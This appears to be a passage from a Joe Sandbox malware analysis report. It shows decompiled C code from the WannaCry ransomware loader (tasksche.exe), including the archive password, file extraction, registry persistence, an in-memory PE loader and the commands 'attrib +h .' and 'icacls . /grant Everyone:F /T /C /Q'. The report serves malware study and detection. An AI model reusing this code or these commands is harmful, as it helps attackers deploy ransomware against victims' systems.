								__eflags = _t156 - 0xffffff96;
								return ((0 | _t156 != 0xffffff96) - 0x00000001 & 0xfb001000) + 0x5000000;
							}
							return 0x600;
						} else {
							L17:
							return 0;
						}
					}
					__eflags = _t78 - 0xffffffff;
					if(_t78 != 0xffffffff) {
						E00406A97( *__ecx);
						_pop(_t139);
					}
					_t89 =  *_t161;
					 *(_t161 + 4) =  *(_t161 + 4) | 0xffffffff;
					__eflags = _t155 -  *((intOrPtr*)(_t89 + 4));
					if(_t155 >=  *((intOrPtr*)(_t89 + 4))) {
						L3:
						return 0x10000;
					} else {
						__eflags = _t155 -  *((intOrPtr*)(_t89 + 0x10));
						if(_t155 >=  *((intOrPtr*)(_t89 + 0x10))) {
							L11:
							_t91 =  *_t161;
							__eflags =  *((intOrPtr*)(_t91 + 0x10)) - _t155;
							if( *((intOrPtr*)(_t91 + 0x10)) >= _t155) {
								E0040671D(_t154,  *_t161,  *((intOrPtr*)(_t161 + 0x138)));
								 *(_t161 + 4) = _t155;
								_pop(_t139);
								goto L14;
							}
							E00406520(_t91);
							L10:
							goto L11;
						}
						E004064E2(_t139, _t89);
						goto L10;
					}
				}
				if(_t136 == 2 || _t136 == 1) {
					__eflags =  *(_t161 + 4) - 0xffffffff;
					if( *(_t161 + 4) != 0xffffffff) {
						E00406A97( *_t161);
						_pop(_t139);
					}
					_t96 =  *_t161;
					_t157 = _a4;
					 *(_t161 + 4) =  *(_t161 + 4) | 0xffffffff;
					__eflags = _t157 -  *((intOrPtr*)(_t96 + 4));
					if(_t157 >=  *((intOrPtr*)(_t96 + 4))) {
						goto L3;
					} else {
						__eflags = _t157 -  *((intOrPtr*)(_t96 + 0x10));
						if(_t157 >=  *((intOrPtr*)(_t96 + 0x10))) {
							L27:
							_t97 =  *_t161;
							__eflags =  *((intOrPtr*)(_t97 + 0x10)) - _t157;
							if( *((intOrPtr*)(_t97 + 0x10)) >= _t157) {
								E00406C40(_t161, _t154, _t157,  &_v568);
								__eflags = _v304 & 0x00000010;
								if((_v304 & 0x00000010) == 0) {
									__eflags = _t136 - 1;
									if(_t136 != 1) {
										_t158 = _a8;
										_t137 = _t158;
										_t144 = _t158;
										_t100 =  *_t158;
										while(1) {
											__eflags = _t100;
											if(_t100 == 0) {
												break;
											}
											__eflags = _t100 - 0x2f;
											if(_t100 == 0x2f) {
												L44:
												_t137 =  &(_t144[1]);
												L45:
												_t100 = _t144[1];
												_t144 =  &(_t144[1]);
												continue;
											}
											__eflags = _t100 - 0x5c;
											if(_t100 != 0x5c) {
												goto L45;
											}
											goto L44;
										}
										strcpy( &_v268, _t158);
										__eflags = _t137 - _t158;
										if(_t137 != _t158) {
											 *(_t163 + _t137 - _t158 - 0x108) =  *(_t163 + _t137 - _t158 - 0x108) & 0x00000000;
											__eflags = _v268 - 0x2f;
											if(_v268 == 0x2f) {
												L56:
												wsprintfA( &_v828, "%s%s",  &_v268, _t137);
												E00407070(0,  &_v268);
												_t164 = _t164 + 0x18;
												L49:
												__eflags = 0;
												_t112 = CreateFileA( &_v828, 0x40000000, 0, 0, 2, _v304, 0);
												L50:
												__eflags = _t112 - 0xffffffff;
												_a4 = _t112;
												if(_t112 != 0xffffffff) {
													_t113 = E0040671D(_t154,  *_t161,  *((intOrPtr*)(_t161 + 0x138)));
													__eflags =  *(_t161 + 0x13c);
													_pop(_t148);
													if( *(_t161 + 0x13c) == 0) {
														L00407700();
														_t148 = 0x4000;
														 *(_t161 + 0x13c) = _t113;
													}
													_t60 =  &_a12;
													 *_t60 = _a12 & 0x00000000;
													__eflags =  *_t60;
													while(1) {
														_t159 = E00406880(_t148,  *_t161,  *(_t161 + 0x13c), 0x4000,  &_a11);
														_t164 = _t164 + 0x10;
														__eflags = _t159 - 0xffffff96;
														if(_t159 == 0xffffff96) {
															break;
														}
														__eflags = _t159;
														if(__eflags < 0) {
															L68:
															_a12 = 0x5000000;
															L71:
															__eflags = _a16 - 1;
															if(_a16 != 1) {
																CloseHandle(_a4);
															}
															E00406A97( *_t161);
															return _a12;
														}
														if(__eflags <= 0) {
															L64:
															__eflags = _a11;
															if(_a11 != 0) {
																SetFileTime(_a4,  &_v292,  &_v300,  &_v284);
																goto L71;
															}
															__eflags = _t159;
															if(_t159 == 0) {
																goto L68;
															}
															continue;
														}
														_t124 = WriteFile(_a4,  *(_t161 + 0x13c), _t159,  &_v8, 0);
														__eflags = _t124;
														if(_t124 == 0) {
															_a12 = 0x400;
															goto L71;
														}
														goto L64;
													}
													_a12 = 0x1000;
													goto L71;
												}
												return 0x200;
											}
											__eflags = _v268 - 0x5c;
											if(_v268 == 0x5c) {
												goto L56;
											}
											__eflags = _v268;
											if(_v268 == 0) {
												L48:
												_t160 = _t161 + 0x140;
												wsprintfA( &_v828, "%s%s%s", _t161 + 0x140,  &_v268, _t137);
												E00407070(_t160,  &_v268);
												_t164 = _t164 + 0x1c;
												goto L49;
											}
											__eflags = _v267 - 0x3a;
											if(_v267 != 0x3a) {
												goto L48;
											}
											goto L56;
										}
										_t37 =  &_v268;
										 *_t37 = _v268 & 0x00000000;
										__eflags =  *_t37;
										goto L48;
									}
									_t112 = _a8;
									goto L50;
								}
								__eflags = _t136 - 1;
								if(_t136 == 1) {
									goto L17;
								}
								_t150 = _a8;
								_t131 =  *_t150;
								__eflags = _t131 - 0x2f;
								if(_t131 == 0x2f) {
									L35:
									_push(_t150);
									_push(0);
									L37:
									E00407070();
									goto L17;
								}
								__eflags = _t131 - 0x5c;
								if(_t131 == 0x5c) {
									goto L35;
								}
								__eflags = _t131;
								if(_t131 == 0) {
									L36:
									_t162 = _t161 + 0x140;
									__eflags = _t162;
									_push(_t150);
									_push(_t162);
									goto L37;
								}
								__eflags = _t150[1] - 0x3a;
								if(_t150[1] != 0x3a) {
									goto L36;
								}
								goto L35;
							}
							E00406520(_t97);
							L26:
							goto L27;
						}
						E004064E2(_t139, _t96);
						goto L26;
					}
				} else {
					goto L3;
				}
			}





































                      0x00407136
                      0x00407136
                      0x00407140
                      0x00407148
                      0x0040714a
                      0x00407168
                      0x0040716b
                      0x0040716e
                      0x00407170
                      0x004071b7
                      0x004071c8
                      0x004071cd
                      0x004071cf
                      0x004071d3
                      0x004071d8
                      0x004071d8
                      0x004071d8
                      0x004071dc
                      0x004071dd
                      0x004071e1
                      0x004071ea
                      0x004071ec
                      0x004071fa
                      0x00000000
                      0x00407206
                      0x00000000
                      0x004071e3
                      0x004071e3
                      0x00000000
                      0x004071e3
                      0x004071e1
                      0x00407172
                      0x00407175
                      0x00407179
                      0x0040717e
                      0x0040717e
                      0x0040717f
                      0x00407181
                      0x00407185
                      0x00407188
                      0x0040715e
                      0x00000000
                      0x0040718a
                      0x0040718a
                      0x0040718d
                      0x00407196
                      0x00407196
                      0x00407198
                      0x0040719b
                      0x004071ad
                      0x004071b3
                      0x004071b6
                      0x00000000
                      0x004071b6
                      0x0040719e
                      0x00407195
                      0x00000000
                      0x00407195
                      0x00407190
                      0x00000000
                      0x00407190
                      0x00407188
                      0x0040714f
                      0x00407210
                      0x00407214
                      0x00407218
                      0x0040721d
                      0x0040721d
                      0x0040721e
                      0x00407220
                      0x00407223
                      0x00407227
                      0x0040722a
                      0x00000000
                      0x00407230
                      0x00407230
                      0x00407233
                      0x0040723c
                      0x0040723c
                      0x0040723e
                      0x00407241
                      0x00407255
                      0x0040725a
                      0x00407261
                      0x0040729c
                      0x0040729f
                      0x004072a9
                      0x004072ac
                      0x004072ae
                      0x004072b0
                      0x004072b2
                      0x004072b2
                      0x004072b4
                      0x00000000
                      0x00000000
                      0x004072b6
                      0x004072b8
                      0x004072be
                      0x004072be
                      0x004072c1
                      0x004072c1
                      0x004072c4
                      0x00000000
                      0x004072c4
                      0x004072ba
                      0x004072bc
                      0x00000000
                      0x00000000
                      0x00000000
                      0x004072bc
                      0x004072cf
                      0x004072d5
                      0x004072d8
                      0x00407347
                      0x0040734f
                      0x00407356
                      0x0040737b
                      0x0040738f
                      0x0040739e
                      0x004073a3
                      0x00407312
                      0x00407312
                      0x0040732b
                      0x00407331
                      0x00407331
                      0x00407334
                      0x00407337
                      0x004073b3
                      0x004073b8
                      0x004073c0
                      0x004073c6
                      0x004073c9
                      0x004073ce
                      0x004073cf
                      0x004073cf
                      0x004073d5
                      0x004073d5
                      0x004073d5
                      0x004073d9
                      0x004073eb
                      0x004073ed
                      0x004073f0
                      0x004073f3
                      0x00000000
                      0x00000000
                      0x004073f5
                      0x004073f7
                      0x0040742a
                      0x0040742a
                      0x0040745a
                      0x0040745a
                      0x0040745e
                      0x00407463
                      0x00407463
                      0x0040746b
                      0x00000000
                      0x00407473
                      0x004073f9
                      0x00407415
                      0x00407415
                      0x00407419
                      0x00407454
                      0x00000000
                      0x00407454
                      0x0040741b
                      0x0040741d
                      0x00000000
                      0x00000000
                      0x00000000
                      0x0040741f
                      0x0040740b
                      0x00407411
                      0x00407413
                      0x00407433
                      0x00000000
                      0x00407433
                      0x00000000
                      0x00407413
                      0x00407421
                      0x00000000
                      0x00407421
                      0x00000000
                      0x00407339
                      0x00407358
                      0x0040735f
                      0x00000000
                      0x00000000
                      0x00407361
                      0x00407368
                      0x004072e1
                      0x004072e7
                      0x004072fc
                      0x0040730a
                      0x0040730f
                      0x00000000
                      0x0040730f
                      0x0040736e
                      0x00407375
                      0x00000000
                      0x00000000
                      0x00000000
                      0x00407375
                      0x004072da
                      0x004072da
                      0x004072da
                      0x00000000
                      0x004072da
                      0x004072a1
                      0x00000000
                      0x004072a1
                      0x00407263
                      0x00407266
                      0x00000000
                      0x00000000
                      0x0040726c
                      0x0040726f
                      0x00407271
                      0x00407273
                      0x00407283
                      0x00407283
                      0x00407284
                      0x00407290
                      0x00407290
                      0x00000000
                      0x00407296
                      0x00407275
                      0x00407277
                      0x00000000
                      0x00000000
                      0x00407279
                      0x0040727b
                      0x00407288
                      0x00407288
                      0x00407288
                      0x0040728e
                      0x0040728f
                      0x00000000
                      0x0040728f
                      0x0040727d
                      0x00407281
                      0x00000000
                      0x00000000
                      0x00000000
                      0x00407281
                      0x00407244
                      0x0040723b
                      0x00000000
                      0x0040723b
                      0x00407236
                      0x00000000
                      0x00407236
                      0x00000000
                      0x00000000
                      0x00000000

                      Strings
                      Memory Dump Source
                      • Source File: 00000018.00000002.476808460.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000018.00000002.476796809.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476831292.0000000000408000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476855965.000000000040E000.00000008.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476874714.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_24_2_400000_tasksche.jbxd
                      Yara matches
                      Similarity
                      • API ID:
                      • String ID: %s%s$%s%s%s$:$\
                      • API String ID: 0-1100577047
                      • Opcode ID: fa5f8851d26bf09fdef4e4f1c55e900ad1a47778409aa7a1c0108d1ccba85c9d
                      • Instruction ID: 622825bbce38b7500016b977d00db7372d85e5c8e1565b3adbba59f792ee02a2
                      • Opcode Fuzzy Hash: fa5f8851d26bf09fdef4e4f1c55e900ad1a47778409aa7a1c0108d1ccba85c9d
                      • Instruction Fuzzy Hash: 42A12A31C082049BDB319F14CC44BEA7BA9AB01314F2445BFF895B62D1D73DBA95CB5A
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 0040203B Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 106stringfileCOMMON
                      Download Yara Rule
                      C-Code - Quality: 77%
                      			E0040203B(intOrPtr* __eax, void* __edi) {
				void* _t25;
				intOrPtr* _t33;
				int _t42;
				CHAR* _t63;
				void* _t64;
				char** _t66;

				__imp____p___argv();
				if(strcmp( *( *__eax + 4), "/i") != 0 || E00401B5F(_t42) == 0) {
					L4:
					if(strrchr(_t64 - 0x20c, 0x5c) != 0) {
						 *(strrchr(_t64 - 0x20c, 0x5c)) = _t42;
					}
					SetCurrentDirectoryA(_t64 - 0x20c);
					E004010FD(1);
					 *_t66 = "WNcry@2ol7";
					_push(_t42);
					L00401DAB();
					E00401E9E();
					E00401064("attrib +h .", _t42, _t42);
					E00401064("icacls . /grant Everyone:F /T /C /Q", _t42, _t42);
					_t25 = E0040170A();
					_t74 = _t25;
					if(_t25 != 0) {
						E004012FD(_t64 - 0x6e4, _t74);
						if(E00401437(_t64 - 0x6e4, _t42, _t42, _t42) != 0) {
							 *(_t64 - 4) = _t42;
							if(E004014A6(_t64 - 0x6e4, "t.wnry", _t64 - 4) != _t42 && E004021BD(_t31,  *(_t64 - 4)) != _t42) {
								_t33 = E00402924(_t32, "TaskStart");
								_t78 = _t33 - _t42;
								if(_t33 != _t42) {
									 *_t33(_t42, _t42);
								}
							}
						}
						E0040137A(_t64 - 0x6e4, _t78);
					}
					goto L13;
				} else {
					_t63 = "tasksche.exe";
					CopyFileA(_t64 - 0x20c, _t63, _t42);
					if(GetFileAttributesA(_t63) == 0xffffffff || E00401F5D(__edi) == 0) {
						goto L4;
					} else {
						L13:
						return 0;
					}
				}
			}









                      0x00402040
                      0x00402054
                      0x0040208e
                      0x004020a3
                      0x004020b1
                      0x004020b3
                      0x004020bb
                      0x004020c3
                      0x004020c8
                      0x004020cf
                      0x004020d0
                      0x004020d5
                      0x004020e1
                      0x004020ed
                      0x004020f5
                      0x004020fa
                      0x004020fc
                      0x00402104
                      0x00402119
                      0x0040212a
                      0x00402134
                      0x0040214b
                      0x00402151
                      0x00402154
                      0x00402158
                      0x00402158
                      0x00402154
                      0x00402134
                      0x00402160
                      0x00402160
                      0x00000000
                      0x00402061
                      0x00402061
                      0x0040206f
                      0x0040207f
                      0x00000000
                      0x00402165
                      0x00402165
                      0x0040216b
                      0x0040216b
                      0x0040207f

                      APIs
                      • __p___argv.MSVCRT(0040F538), ref: 00402040
                      • strcmp.MSVCRT(?), ref: 0040204B
                      • CopyFileA.KERNEL32(?,tasksche.exe), ref: 0040206F
                      • GetFileAttributesA.KERNEL32(tasksche.exe), ref: 00402076
                        • Part of subcall function 00401F5D: GetFullPathNameA.KERNEL32(tasksche.exe,00000208,?,00000000), ref: 00401F97
                      • strrchr.MSVCRT(?,0000005C,?,?,00000000), ref: 0040209D
                      • strrchr.MSVCRT(?,0000005C), ref: 004020AE
                      • SetCurrentDirectoryA.KERNEL32(?,00000000), ref: 004020BB
                        • Part of subcall function 00401B5F: MultiByteToWideChar.KERNEL32(00000000,00000000,0040F8AC,000000FF,?,00000063), ref: 00401BCA
                        • Part of subcall function 00401B5F: GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00401BDD
                        • Part of subcall function 00401B5F: swprintf.MSVCRT(?,%s\ProgramData,?), ref: 00401C04
                        • Part of subcall function 00401B5F: GetFileAttributesW.KERNEL32(?), ref: 00401C10
                      Strings
                      Memory Dump Source
                      • Source File: 00000018.00000002.476808460.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000018.00000002.476796809.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476831292.0000000000408000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476855965.000000000040E000.00000008.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476874714.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_24_2_400000_tasksche.jbxd
                      Yara matches
                      Similarity
                      • API ID: File$AttributesDirectorystrrchr$ByteCharCopyCurrentFullMultiNamePathWideWindows__p___argvstrcmpswprintf
                      • String ID: TaskStart$attrib +h .$icacls . /grant Everyone:F /T /C /Q$t.wnry$tasksche.exe
                      • API String ID: 1074704982-2844324180
                      • Opcode ID: 89895d8f6934e01f58802458fd3b58e20f5d1862df0252ba7c7124bca42d23be
                      • Instruction ID: 0f1cc1f94130967d107883c1ee7151828ebb686b55f89e1ef1b9593e139f0a32
                      • Opcode Fuzzy Hash: 89895d8f6934e01f58802458fd3b58e20f5d1862df0252ba7c7124bca42d23be
                      • Instruction Fuzzy Hash: 25318172500319AEDB24B7B19E89E9F376C9F10319F20057FF645F65E2DE788D488A28
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 004010FD Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 100registrystringCOMMON
                      Download Yara Rule
                      C-Code - Quality: 58%
                      			E004010FD(intOrPtr _a4) {
				signed int _v8;
				signed int _v12;
				int _v16;
				void _v196;
				long _v216;
				void _v735;
				char _v736;
				signed int _t44;
				void* _t46;
				signed int _t55;
				signed int _t56;
				char* _t72;
				void* _t77;

				_t56 = 5;
				memcpy( &_v216, L"Software\\", _t56 << 2);
				_push(0x2d);
				_v736 = _v736 & 0;
				_v8 = _v8 & 0x00000000;
				memset( &_v735, memset( &_v196, 0, 0 << 2), 0x81 << 2);
				asm("stosw");
				asm("stosb");
				wcscat( &_v216, L"WanaCrypt0r");
				_v12 = _v12 & 0x00000000;
				_t72 = "wd";
				do {
					_push( &_v8);
					_push( &_v216);
					if(_v12 != 0) {
						_push(0x80000001);
					} else {
						_push(0x80000002);
					}
					RegCreateKeyW();
					if(_v8 != 0) {
						if(_a4 == 0) {
							_v16 = 0x207;
							_t44 = RegQueryValueExA(_v8, _t72, 0, 0,  &_v736,  &_v16);
							asm("sbb esi, esi");
							_t77 =  ~_t44 + 1;
							if(_t77 != 0) {
								SetCurrentDirectoryA( &_v736);
							}
						} else {
							GetCurrentDirectoryA(0x207,  &_v736);
							_t55 = RegSetValueExA(_v8, _t72, 0, 1,  &_v736, strlen( &_v736) + 1);
							asm("sbb esi, esi");
							_t77 =  ~_t55 + 1;
						}
						RegCloseKey(_v8);
						if(_t77 != 0) {
							_t46 = 1;
							return _t46;
						} else {
							goto L10;
						}
					}
					L10:
					_v12 = _v12 + 1;
				} while (_v12 < 2);
				return 0;
			}
















                      0x0040110f
                      0x00401116
                      0x00401118
                      0x0040111c
                      0x00401129
                      0x0040113a
                      0x0040113c
                      0x0040113e
                      0x0040114b
                      0x00401151
                      0x00401157
                      0x0040115c
                      0x00401164
                      0x0040116b
                      0x0040116c
                      0x00401175
                      0x0040116e
                      0x0040116e
                      0x0040116e
                      0x0040117a
                      0x00401183
                      0x0040118c
                      0x004011cf
                      0x004011e4
                      0x004011ee
                      0x004011f0
                      0x004011f1
                      0x004011fa
                      0x004011fa
                      0x0040118e
                      0x0040119a
                      0x004011bd
                      0x004011c7
                      0x004011c9
                      0x004011c9
                      0x00401203
                      0x0040120b
                      0x00401222
                      0x00000000
                      0x00000000
                      0x00000000
                      0x00000000
                      0x0040120b
                      0x0040120d
                      0x0040120d
                      0x00401210
                      0x00000000

                      APIs
                      • wcscat.MSVCRT(?,WanaCrypt0r,?,0000DDB6), ref: 0040114B
                      • RegCreateKeyW.ADVAPI32(80000001,?,00000000), ref: 0040117A
                      • GetCurrentDirectoryA.KERNEL32(00000207,?), ref: 0040119A
                      • strlen.MSVCRT(?), ref: 004011A7
                      • RegSetValueExA.ADVAPI32(00000000,0040E030,00000000,00000001,?,00000001), ref: 004011BD
                      • RegQueryValueExA.ADVAPI32(00000000,0040E030,00000000,00000000,?,?), ref: 004011E4
                      • SetCurrentDirectoryA.KERNEL32(?), ref: 004011FA
                      • RegCloseKey.ADVAPI32(00000000), ref: 00401203
                      Strings
                      Memory Dump Source
                      • Source File: 00000018.00000002.476808460.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000018.00000002.476796809.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476831292.0000000000408000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476855965.000000000040E000.00000008.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476874714.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_24_2_400000_tasksche.jbxd
                      Yara matches
                      Similarity
                      • API ID: CurrentDirectoryValue$CloseCreateQuerystrlenwcscat
                      • String ID: 0@$Software\$WanaCrypt0r
                      • API String ID: 865909632-3421300005
                      • Opcode ID: be197859f140e0a5161343930b87c84f9738d6a9d10ac2d583ef225433aeadb0
                      • Instruction ID: 752dd9e6153134350df00ddc45e524be7a8e60cbe47ba2191db59f61a0b32c4f
                      • Opcode Fuzzy Hash: be197859f140e0a5161343930b87c84f9738d6a9d10ac2d583ef225433aeadb0
                      • Instruction Fuzzy Hash: 09316232801228EBDB218B90DD09BDEBB78EB44751F1140BBE645F6190CB745E84CBA8
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00401B5F Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 123COMMON
                      Download Yara Rule
                      C-Code - Quality: 81%
                      			E00401B5F(intOrPtr _a4) {
				void _v202;
				short _v204;
				void _v722;
				long _v724;
				signed short _v1240;
				void _v1242;
				long _v1244;
				void* _t55;
				signed int _t65;
				void* _t72;
				long _t83;
				void* _t94;
				void* _t98;

				_t83 =  *0x40f874; // 0x0
				_v1244 = _t83;
				memset( &_v1242, 0, 0x81 << 2);
				asm("stosw");
				_v724 = _t83;
				memset( &_v722, 0, 0x81 << 2);
				asm("stosw");
				_push(0x31);
				_v204 = _t83;
				memset( &_v202, 0, 0 << 2);
				asm("stosw");
				MultiByteToWideChar(0, 0, 0x40f8ac, 0xffffffff,  &_v204, 0x63);
				GetWindowsDirectoryW( &_v1244, 0x104);
				_v1240 = _v1240 & 0x00000000;
				swprintf( &_v724, L"%s\\ProgramData",  &_v1244);
				_t98 = _t94 + 0x30;
				if(GetFileAttributesW( &_v724) == 0xffffffff) {
					L3:
					swprintf( &_v724, L"%s\\Intel",  &_v1244);
					if(E00401AF6( &_v724,  &_v204, _a4) != 0 || E00401AF6( &_v1244,  &_v204, _a4) != 0) {
						L2:
						_t55 = 1;
						return _t55;
					} else {
						GetTempPathW(0x104,  &_v724);
						if(wcsrchr( &_v724, 0x5c) != 0) {
							 *(wcsrchr( &_v724, 0x5c)) =  *_t69 & 0x00000000;
						}
						_t65 = E00401AF6( &_v724,  &_v204, _a4);
						asm("sbb eax, eax");
						return  ~( ~_t65);
					}
				}
				_t72 = E00401AF6( &_v724,  &_v204, _a4);
				_t98 = _t98 + 0xc;
				if(_t72 == 0) {
					goto L3;
				}
				goto L2;
			}
















                      0x00401b68
                      0x00401b80
                      0x00401b87
                      0x00401b89
                      0x00401b95
                      0x00401b9c
                      0x00401b9e
                      0x00401ba0
                      0x00401bab
                      0x00401bb4
                      0x00401bb6
                      0x00401bca
                      0x00401bdd
                      0x00401be9
                      0x00401c04
                      0x00401c06
                      0x00401c19
                      0x00401c40
                      0x00401c53
                      0x00401c70
                      0x00401c38
                      0x00401c3a
                      0x00000000
                      0x00401c8f
                      0x00401c97
                      0x00401cb2
                      0x00401cbf
                      0x00401cc4
                      0x00401cd6
                      0x00401ce0
                      0x00000000
                      0x00401ce2
                      0x00401c70
                      0x00401c2c
                      0x00401c31
                      0x00401c36
                      0x00000000
                      0x00000000
                      0x00000000

                      APIs
                      • MultiByteToWideChar.KERNEL32(00000000,00000000,0040F8AC,000000FF,?,00000063), ref: 00401BCA
                      • GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00401BDD
                      • swprintf.MSVCRT(?,%s\ProgramData,?), ref: 00401C04
                      • GetFileAttributesW.KERNEL32(?), ref: 00401C10
                      • swprintf.MSVCRT(?,%s\Intel,?), ref: 00401C53
                      • GetTempPathW.KERNEL32(00000104,?), ref: 00401C97
                      • wcsrchr.MSVCRT(?,0000005C), ref: 00401CAC
                      • wcsrchr.MSVCRT(?,0000005C), ref: 00401CBD
                        • Part of subcall function 00401AF6: CreateDirectoryW.KERNEL32(?,00000000), ref: 00401B07
                        • Part of subcall function 00401AF6: SetCurrentDirectoryW.KERNEL32(?), ref: 00401B12
                        • Part of subcall function 00401AF6: CreateDirectoryW.KERNEL32(?,00000000), ref: 00401B1E
                        • Part of subcall function 00401AF6: SetCurrentDirectoryW.KERNEL32(?), ref: 00401B21
                      Strings
                      Memory Dump Source
                      • Source File: 00000018.00000002.476808460.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000018.00000002.476796809.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476831292.0000000000408000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476855965.000000000040E000.00000008.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476874714.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_24_2_400000_tasksche.jbxd
                      Yara matches
                      Similarity
                      • API ID: Directory$CreateCurrentswprintfwcsrchr$AttributesByteCharFileMultiPathTempWideWindows
                      • String ID: %s\Intel$%s\ProgramData
                      • API String ID: 3806094219-198707228
                      • Opcode ID: e04e666ac5ff563214b472014ed4c30e25de200c4a7bf1775954a8b15fda063a
                      • Instruction ID: 4ac525b1174630586dc3f01422198d44c3eaba501bd80531e66e43f198221a67
                      • Opcode Fuzzy Hash: e04e666ac5ff563214b472014ed4c30e25de200c4a7bf1775954a8b15fda063a
                      • Instruction Fuzzy Hash: 2C41447294021DAAEF609BA0DD45FDA777CAF04310F1045BBE608F71E0EA74DA888F59
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 004021E9 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 233memoryCOMMON
                      Download Yara Rule
                      C-Code - Quality: 64%
                      			E004021E9(void* _a4, char _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, void* _a32) {
				signed int _v8;
				intOrPtr _v40;
				char _v44;
				void* _t82;
				struct HINSTANCE__* _t83;
				intOrPtr* _t84;
				intOrPtr _t89;
				void* _t91;
				void* _t104;
				void _t107;
				intOrPtr _t116;
				intOrPtr _t124;
				signed int _t125;
				signed char _t126;
				intOrPtr _t127;
				signed int _t134;
				intOrPtr* _t145;
				signed int _t146;
				intOrPtr* _t151;
				intOrPtr _t152;
				short* _t153;
				signed int _t155;
				void* _t156;
				intOrPtr _t157;
				void* _t158;
				void* _t159;
				void* _t160;

				_v8 = _v8 & 0x00000000;
				_t3 =  &_a8; // 0x40213f
				if(E00402457( *_t3, 0x40) == 0) {
					L37:
					return 0;
				}
				_t153 = _a4;
				if( *_t153 == 0x5a4d) {
					if(E00402457(_a8,  *((intOrPtr*)(_t153 + 0x3c)) + 0xf8) == 0) {
						goto L37;
					}
					_t151 =  *((intOrPtr*)(_t153 + 0x3c)) + _t153;
					if( *_t151 != 0x4550 ||  *((short*)(_t151 + 4)) != 0x14c) {
						goto L2;
					} else {
						_t9 = _t151 + 0x38; // 0x68004021
						_t126 =  *_t9;
						if((_t126 & 0x00000001) != 0) {
							goto L2;
						}
						_t12 = _t151 + 0x14; // 0x4080e415
						_t13 = _t151 + 6; // 0x4080e0
						_t146 =  *_t13 & 0x0000ffff;
						_t82 = ( *_t12 & 0x0000ffff) + _t151 + 0x18;
						if(_t146 <= 0) {
							L16:
							_t83 = GetModuleHandleA("kernel32.dll");
							if(_t83 == 0) {
								goto L37;
							}
							_t84 = _a24(_t83, "GetNativeSystemInfo", 0);
							_t159 = _t158 + 0xc;
							if(_t84 == 0) {
								goto L37;
							}
							 *_t84( &_v44);
							_t86 = _v40;
							_t23 = _t151 + 0x50; // 0xec8b55c3
							_t25 = _t86 - 1; // 0xec8b55c2
							_t27 = _t86 - 1; // -1
							_t134 =  !_t27;
							_t155 =  *_t23 + _t25 & _t134;
							if(_t155 != (_v40 + _v8 - 0x00000001 & _t134)) {
								goto L2;
							}
							_t31 = _t151 + 0x34; // 0x85680040
							_t89 = _a12( *_t31, _t155, 0x3000, 4, _a32);
							_t127 = _t89;
							_t160 = _t159 + 0x14;
							if(_t127 != 0) {
								L21:
								_t91 = HeapAlloc(GetProcessHeap(), 8, 0x3c);
								_t156 = _t91;
								if(_t156 != 0) {
									 *((intOrPtr*)(_t156 + 4)) = _t127;
									_t38 = _t151 + 0x16; // 0xc3004080
									 *(_t156 + 0x14) =  *_t38 >> 0x0000000d & 0x00000001;
									 *((intOrPtr*)(_t156 + 0x1c)) = _a12;
									 *((intOrPtr*)(_t156 + 0x20)) = _a16;
									 *((intOrPtr*)(_t156 + 0x24)) = _a20;
									 *((intOrPtr*)(_t156 + 0x28)) = _a24;
									 *((intOrPtr*)(_t156 + 0x2c)) = _a28;
									 *((intOrPtr*)(_t156 + 0x30)) = _a32;
									 *((intOrPtr*)(_t156 + 0x38)) = _v40;
									_t54 = _t151 + 0x54; // 0x8328ec83
									if(E00402457(_a8,  *_t54) == 0) {
										L36:
										E004029CC(_t156);
										goto L37;
									}
									_t57 = _t151 + 0x54; // 0x8328ec83
									_t104 = _a12(_t127,  *_t57, 0x1000, 4, _a32);
									_t59 = _t151 + 0x54; // 0x8328ec83
									_a32 = _t104;
									memcpy(_t104, _a4,  *_t59);
									_t107 =  *((intOrPtr*)(_a4 + 0x3c)) + _a32;
									 *_t156 = _t107;
									 *((intOrPtr*)(_t107 + 0x34)) = _t127;
									if(E00402470(_a4, _a8, _t151, _t156) == 0) {
										goto L36;
									}
									_t68 = _t151 + 0x34; // 0x85680040
									_t111 =  *((intOrPtr*)( *_t156 + 0x34)) ==  *_t68;
